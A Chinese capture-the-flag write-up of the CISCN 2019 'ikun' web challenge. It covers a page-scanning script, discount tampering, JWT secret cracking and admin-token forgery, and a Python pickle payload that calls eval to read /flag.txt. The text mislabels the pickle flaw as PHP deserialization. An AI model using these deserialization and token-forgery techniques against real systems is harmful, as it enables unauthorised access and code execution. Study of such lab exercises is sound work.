[CISCN2019 华北赛区 Day1 Web2]ikun
首先打开题目地址
左下角有个提示,说ikun们一定要买到lv6,还有爆破的字样
可以看到有很多购买链接,但是发现没翻了几页都没有发现lv6,直接用python写个脚本去寻找
import requests
for i in range(1,201):
url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
result=requests.get(url).content.decode('utf-8')
if 'lv6.png' in result:
print(url+'ok')
else:
print(url+'no')
找到lv6进行购买
结算发现钱是不够的,说明这里很有可能存在逻辑漏洞
尝试修改优惠卷的的折数
再次购买发现就不是购买失败了,而是说该页面只允许admin用户访问
查看页面的cookie信息
发现这里涉及JWT,将JWT先进行解密
猜测这里只需要将username改为admin即可,但是还需要破解出他的密匙
这里需要用到一个工具
然后伪造生成的JWT生成JWT网站
![](https://www.icode9.com/i/ll/?i=89ddf5999aa74e41b94a637eaa63a629.png?x-oss-process=image)
然后抓包进行修改JWT
在这个页面进行抓包
修改JWT的值
然后发现点击一键成为大会员也没有发现什么,查看源代码看看有什么线索
发现有一个压缩包,将他下载下来
解压后得到如下文件
放到idea里进行分析
找到一处php反序列化的位置,在admin.py
然后写上序列化的payload,在kali上运行
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
最后将生成的payload传给become
检查源代码直接将hidden进行删除
然后填入生成payload获得flag